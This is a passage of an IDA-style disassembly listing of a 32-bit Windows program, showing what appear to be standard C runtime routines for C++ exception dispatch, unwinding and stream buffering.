ebx push [ebp+arg_4] push edi call sub_41A015 add esp, 10h loc_41A010: ; CODE XREF: sub_419F7A+84j pop edi pop esi pop ebx pop ebp retn sub_419F7A endp ; =============== S U B R O U T I N E ======================================= sub_41A015 proc near ; CODE XREF: sub_419F7A+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_492858, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_419D98 and byte_492858, 0 add esp, 10h retn sub_41A015 endp ; =============== S U B R O U T I N E ======================================= sub_41A03C proc near ; CODE XREF: sub_419F7A+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_492858, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_419E9C and byte_492858, 0 add esp, 0Ch retn sub_41A03C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A05F proc near ; CODE XREF: sub_41AAED+3AAp ; DATA XREF: sub_415E82o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_41A09A cmp [ebp+arg_8], 45h jz short loc_41A09A cmp [ebp+arg_8], 66h jnz short loc_41A087 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_419E9C add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_41A087: ; CODE XREF: sub_41A05F+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_419F7A jmp short loc_41A0AB ; --------------------------------------------------------------------------- loc_41A09A: ; CODE XREF: sub_41A05F+7j ; sub_41A05F+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_419D98 loc_41A0AB: ; CODE XREF: sub_41A05F+39j add esp, 10h pop ebp retn sub_41A05F endp ; =============== S U B R O U T I N E ======================================= sub_41A0B0 proc near ; CODE XREF: sub_419D98+2Cp ; sub_419E9C+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_41A0D3 push esi mov esi, [esp+8+arg_0] push esi call sub_4158E0 inc eax push eax push esi add esi, edi push esi call sub_416430 add esp, 10h pop esi loc_41A0D3: ; CODE XREF: sub_41A0B0+7j pop edi retn sub_41A0B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A0D5 proc near ; CODE XREF: .text:0041607Bp ; sub_4160FE+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_41A0EB call sub_41A982 loc_41A0EB: ; CODE XREF: sub_41A0D5+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_41A113 cmp dword ptr [esi+4], 0 jz short loc_41A169 cmp [ebp+arg_14], 0 jnz short loc_41A169 push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_41A41C add esp, 10h jmp short loc_41A169 ; --------------------------------------------------------------------------- loc_41A113: ; CODE XREF: sub_41A0D5+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_41A169 cmp dword ptr [eax], 0E06D7363h jnz short loc_41A14D cmp [eax+14h], edi jbe short loc_41A14D mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_41A14D movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_41A16C ; --------------------------------------------------------------------------- loc_41A14D: ; CODE XREF: sub_41A0D5+4Aj ; sub_41A0D5+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_41A170 add esp, 20h loc_41A169: ; CODE XREF: sub_41A0D5+23j ; sub_41A0D5+29j ... push 1 pop eax loc_41A16C: ; CODE XREF: sub_41A0D5+76j pop edi pop esi pop ebp retn sub_41A0D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A170 proc near ; CODE XREF: sub_41A0D5+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_41A190 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_41A195 loc_41A190: ; CODE XREF: sub_41A170+16j call sub_41A982 loc_41A195: ; CODE XREF: sub_41A170+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_41A2EC cmp dword ptr [esi+10h], 3 jnz short loc_41A209 cmp [esi+14h], edi jnz short loc_41A209 cmp dword ptr [esi+1Ch], 0 jnz short loc_41A209 mov esi, dword_492864 test esi, esi jz loc_41A2E7 mov eax, dword_492868 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_41E36A pop ecx test eax, eax pop ecx jnz short loc_41A1EB call sub_41A982 loc_41A1EB: ; CODE XREF: sub_41A170+74j cmp [esi], ebx jnz loc_41A2EC cmp dword ptr [esi+10h], 3 jnz short loc_41A209 cmp [esi+14h], edi jnz short loc_41A209 cmp dword ptr [esi+1Ch], 0 jnz short loc_41A209 call sub_41A982 loc_41A209: ; CODE XREF: sub_41A170+41j ; sub_41A170+46j ... cmp [esi], ebx jnz loc_41A2EC cmp dword ptr [esi+10h], 3 jnz loc_41A2EC cmp [esi+14h], edi jnz loc_41A2EC mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41624C add esp, 14h mov ebx, eax loc_41A240: ; CODE XREF: sub_41A170+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_41A2D7 cmp [ebx], edi jg short loc_41A2CC cmp edi, [ebx+4] jg short loc_41A2CC mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_41A2C9 loc_41A265: ; CODE XREF: sub_41A170+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_41A296 loc_41A277: ; CODE XREF: sub_41A170+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_41A3BF add esp, 0Ch test eax, eax jnz short loc_41A2A5 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_41A277 loc_41A296: ; CODE XREF: sub_41A170+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_41A265 jmp short loc_41A2C9 ; --------------------------------------------------------------------------- loc_41A2A5: ; CODE XREF: sub_41A170+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_41A4D0 add esp, 2Ch loc_41A2C9: ; CODE XREF: sub_41A170+F3j ; sub_41A170+133j mov edi, [ebp+var_10] loc_41A2CC: ; CODE XREF: sub_41A170+DEj ; sub_41A170+E3j inc [ebp+var_4] add ebx, 14h jmp loc_41A240 ; --------------------------------------------------------------------------- loc_41A2D7: ; CODE XREF: sub_41A170+D6j cmp [ebp+arg_14], 0 jz short loc_41A2E7 push 1 push esi call sub_41A845 pop ecx pop ecx loc_41A2E7: ; CODE XREF: sub_41A170+56j ; sub_41A170+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41A2EC: ; CODE XREF: sub_41A170+37j ; sub_41A170+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_41A312 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_41A317 add esp, 20h jmp short loc_41A2E7 ; --------------------------------------------------------------------------- loc_41A312: ; CODE XREF: sub_41A170+180j jmp sub_41A91C sub_41A170 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A317 proc near ; CODE XREF: sub_41A170+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_49286C, 0 push esi push edi jz short loc_41A348 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416123 add esp, 1Ch test eax, eax jnz short loc_41A3BB loc_41A348: ; CODE XREF: sub_41A317+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41624C add esp, 14h mov esi, eax loc_41A364: ; CODE XREF: sub_41A317+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_41A3BB cmp edi, [esi] jl short loc_41A3B3 cmp edi, [esi+4] jg short loc_41A3B3 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_41A38D cmp byte ptr [ecx+8], 0 jnz short loc_41A3B3 loc_41A38D: ; CODE XREF: sub_41A317+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41A4D0 add esp, 2Ch loc_41A3B3: ; CODE XREF: sub_41A317+57j ; sub_41A317+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_41A364 ; --------------------------------------------------------------------------- loc_41A3BB: ; CODE XREF: sub_41A317+2Fj ; sub_41A317+53j pop edi pop esi leave retn sub_41A317 endp ; =============== S U B R O U T I N E ======================================= sub_41A3BF proc near ; CODE XREF: sub_41A170+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_41A416 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_41A416 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_41A3F0 add ecx, 8 push ecx push edx call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_41A412 loc_41A3F0: ; CODE XREF: sub_41A3BF+1Fj test byte ptr [esi], 2 jz short loc_41A3FA test byte ptr [edi], 8 jz short loc_41A412 loc_41A3FA: ; CODE XREF: sub_41A3BF+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_41A409 test byte ptr [edi], 1 jz short loc_41A412 loc_41A409: ; CODE XREF: sub_41A3BF+43j test al, 2 jz short loc_41A416 test byte ptr [edi], 2 jnz short loc_41A416 loc_41A412: ; CODE XREF: sub_41A3BF+2Fj ; sub_41A3BF+39j ... xor eax, eax jmp short loc_41A419 ; --------------------------------------------------------------------------- loc_41A416: ; CODE XREF: sub_41A3BF+Bj ; sub_41A3BF+14j ... push 1 pop eax loc_41A419: ; CODE XREF: sub_41A3BF+55j pop edi pop esi retn sub_41A3BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A41C proc near ; CODE XREF: .text:0041609Fp ; sub_41A0D5+34p ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427738 push offset sub_41D854 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_41A44E: ; CODE XREF: sub_41A41C+8Aj cmp esi, [ebp+arg_C] jz short loc_41A4A8 cmp esi, 0FFFFFFFFh jle short loc_41A45D cmp esi, [edi+4] jl short loc_41A462 loc_41A45D: ; CODE XREF: sub_41A41C+3Aj call sub_41A982 loc_41A462: ; CODE XREF: sub_41A41C+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_41A47D push 103h push ebx push eax call sub_41A8D0 loc_41A47D: ; CODE XREF: sub_41A41C+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_41A49D ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_41A4BA pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_41A49D: ; CODE XREF: sub_41A41C+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_41A44E ; --------------------------------------------------------------------------- loc_41A4A8: ; CODE XREF: sub_41A41C+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41A41C endp ; =============== S U B R O U T I N E ======================================= sub_41A4BA proc near ; CODE XREF: sub_41A41C+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_41A4CB xor eax, eax retn ; --------------------------------------------------------------------------- loc_41A4CB: ; CODE XREF: sub_41A4BA+Cj jmp sub_41A91C sub_41A4BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A4D0 proc near ; CODE XREF: sub_41A170+151p ; sub_41A317+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_41A4F2 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_41A681 add esp, 10h loc_41A4F2: ; CODE XREF: sub_41A4D0+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_41A4FE push edi jmp short loc_41A501 ; --------------------------------------------------------------------------- loc_41A4FE: ; CODE XREF: sub_41A4D0+29j push [ebp+arg_24] loc_41A501: ; CODE XREF: sub_41A4D0+2Cj call sub_41600B mov esi, [ebp+arg_1C] push dword ptr [esi] push [ebp+arg_10] push [ebp+arg_C] push edi call sub_41A41C mov eax, [esi+4] push 100h push [ebp+arg_20] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push [ebp+arg_10] push [ebp+arg_8] push edi push [ebp+arg_0] call sub_41A54B add esp, 2Ch test eax, eax jz short loc_41A546 push edi push eax call sub_415FC2 loc_41A546: ; CODE XREF: sub_41A4D0+6Dj pop edi pop esi pop ebx pop ebp retn sub_41A4D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A54B proc near ; CODE XREF: sub_41A4D0+63p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427748 push offset sub_41D854 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_492864 mov [ebp+var_1C], ecx mov ecx, dword_492868 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_492864, edi mov ecx, [ebp+arg_8] mov dword_492868, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_4160AA add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_41A611 mov eax, [ebp+var_2C] loc_41A5D8: ; CODE XREF: sub_41A5F1+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41A54B endp ; =============== S U B R O U T I N E ======================================= sub_41A5E7 proc near ; DATA XREF: .rdata:00427758o push dword ptr [ebp-14h] call sub_41A657 pop ecx retn sub_41A5E7 endp ; =============== S U B R O U T I N E ======================================= sub_41A5F1 proc near ; DATA XREF: .rdata:0042775Co mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_41630A pop ecx pop ecx xor eax, eax jmp short loc_41A5D8 sub_41A5F1 endp ; =============== S U B R O U T I N E ======================================= sub_41A609 proc near ; DATA XREF: .rdata:00427750o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] sub_41A609 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41A611 proc near ; CODE XREF: sub_41A54B+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_492864, eax mov eax, [ebp-20h] mov dword_492868, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_41A656 cmp dword ptr [edi+10h], 3 jnz short locret_41A656 cmp dword ptr [edi+14h], 19930520h jnz short locret_41A656 cmp [ebp-24h], ebx jnz short locret_41A656 cmp [ebp-2Ch], ebx jz short locret_41A656 call sub_416372 push eax push edi call sub_41A845 pop ecx pop ecx locret_41A656: ; CODE XREF: sub_41A611+1Cj ; sub_41A611+22j ... retn sub_41A611 endp ; =============== S U B R O U T I N E ======================================= sub_41A657 proc near ; CODE XREF: sub_41A5E7+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_41A67E cmp dword ptr [eax+10h], 3 jnz short loc_41A67E cmp dword ptr [eax+14h], 19930520h jnz short loc_41A67E cmp dword ptr [eax+1Ch], 0 jnz short loc_41A67E push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41A67E: ; CODE XREF: sub_41A657+Cj ; sub_41A657+12j ... xor eax, eax retn sub_41A657 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A681 proc near ; CODE XREF: sub_41A4D0+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427760 push offset sub_41D854 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_41A82A cmp byte ptr [eax+8], 0 jz loc_41A82A mov eax, [ecx+8] test eax, eax jz loc_41A82A mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_41A71E mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_41E36A pop ecx pop ecx test eax, eax jz loc_41A821 push 1 push edi call sub_41E386 pop ecx pop ecx test eax, eax jz loc_41A821 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_41A70F: ; CODE XREF: sub_41A681+F5j push eax call sub_41A8AC pop ecx pop ecx mov [edi], eax jmp loc_41A826 ; --------------------------------------------------------------------------- loc_41A71E: ; CODE XREF: sub_41A681+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_41A778 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_41E36A pop ecx pop ecx test eax, eax jz loc_41A821 push 1 push edi call sub_41E386 pop ecx pop ecx test eax, eax jz loc_41A821 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_416430 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_41A826 mov eax, [edi] test eax, eax jz loc_41A826 add esi, 8 push esi jmp short loc_41A70F ; --------------------------------------------------------------------------- loc_41A778: ; CODE XREF: sub_41A681+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_41A7C0 call sub_41E36A pop ecx pop ecx test eax, eax jz loc_41A821 push 1 push edi call sub_41E386 pop ecx pop ecx test eax, eax jz short loc_41A821 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_41A8AC pop ecx pop ecx push eax push edi call sub_416430 add esp, 0Ch jmp short loc_41A826 ; --------------------------------------------------------------------------- loc_41A7C0: ; CODE XREF: sub_41A681+103j call sub_41E36A pop ecx pop ecx test eax, eax jz short loc_41A821 push 1 push edi call sub_41E386 pop ecx pop ecx test eax, eax jz short loc_41A821 push dword ptr [esi+18h] call sub_41E3A2 pop ecx test eax, eax jz short loc_41A821 test byte ptr [esi], 4 jz short loc_41A807 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_41A8AC pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_416004 jmp short loc_41A826 ; --------------------------------------------------------------------------- loc_41A807: ; CODE XREF: sub_41A681+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_41A8AC pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_415FFD jmp short loc_41A826 ; --------------------------------------------------------------------------- loc_41A821: ; CODE XREF: sub_41A681+6Aj ; sub_41A681+7Cj ... call sub_41A982 loc_41A826: ; CODE XREF: sub_41A681+98j ; sub_41A681+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_41A82A: ; CODE XREF: sub_41A681+2Ej ; sub_41A681+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41A681 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_41A91C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A845 proc near ; CODE XREF: sub_41A170+170p ; sub_41A611+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427770 push offset sub_41D854 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_41A88C mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_41A88C and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_415FF6 or [ebp+var_4], 0FFFFFFFFh loc_41A88C: ; CODE XREF: sub_41A845+2Aj ; sub_41A845+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41A845 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_41A91C ; =============== S U B R O U T I N E ======================================= sub_41A8AC proc near ; CODE XREF: sub_41A681+8Fp ; sub_41A681+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_41A8CD mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_41A8CD: ; CODE XREF: sub_41A8AC+12j pop esi retn sub_41A8AC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A8D0 proc near ; CODE XREF: sub_4160AA+40p ; sub_41A41C+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_416395 push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_41A90F mov ecx, 2 loc_41A90F: ; CODE XREF: sub_41A8D0+38j push ecx call sub_416395 pop ebp pop ecx pop ebx leave retn 0Ch sub_41A8D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A91C proc near ; CODE XREF: sub_41A170:loc_41A312j ; sub_41A4BA:loc_41A4CBj ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0041E3BA SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427780 push offset sub_41D854 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_492870 test eax, eax jz short loc_41A964 mov [ebp+var_4], 1 call eax jmp short loc_41A960 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41A95D: ; DATA XREF: .rdata:00427794o mov esp, [ebp+var_18] loc_41A960: ; CODE XREF: sub_41A91C+3Bj and [ebp+var_4], 0 loc_41A964: ; CODE XREF: sub_41A91C+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_41A96D: ; DATA XREF: .rdata:00427788o jmp loc_41E3BA sub_41A91C endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov eax, off_435C10 test eax, eax jz short loc_41A97D call eax ; sub_41A91C loc_41A97D: ; CODE XREF: .text:0041A979j jmp sub_41A91C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A982 proc near ; CODE XREF: sub_41624C+23p ; sub_41624C:loc_4162B7p ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427798 push offset sub_41D854 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_435C14 test eax, eax jz short loc_41A9CA mov [ebp+var_4], 1 call eax ; sub_41A91C jmp short loc_41A9C6 ; --------------------------------------------------------------------------- loc_41A9BF: ; DATA XREF: .rdata:004277A8o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41A9C3: ; DATA XREF: .rdata:004277ACo mov esp, [ebp+var_18] loc_41A9C6: ; CODE XREF: sub_41A982+3Bj and [ebp+var_4], 0 loc_41A9CA: ; CODE XREF: sub_41A982+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_41A9D3: ; DATA XREF: .rdata:004277A0o jmp sub_41A91C sub_41A982 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A9D8 proc near ; CODE XREF: sub_4163D7+45p ; sub_416821+46p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_41AAE1 test al, 40h jnz loc_41AAE1 test al, 1 jz short loc_41AA10 and dword ptr [esi+4], 0 test al, 10h jz loc_41AAE1 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_41AA10: ; CODE XREF: sub_41A9D8+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41AA4A cmp esi, offset dword_436220 jz short loc_41AA38 cmp esi, offset dword_436240 jnz short loc_41AA43 loc_41AA38: ; CODE XREF: sub_41A9D8+56j push ebx call sub_41E5C2 test eax, eax pop ecx jnz short loc_41AA4A loc_41AA43: ; CODE XREF: sub_41A9D8+5Ej push esi call sub_41E57E pop ecx loc_41AA4A: ; CODE XREF: sub_41A9D8+4Ej ; sub_41A9D8+69j test word ptr [esi+0Ch], 108h push edi jz short loc_41AAB7 mov eax, 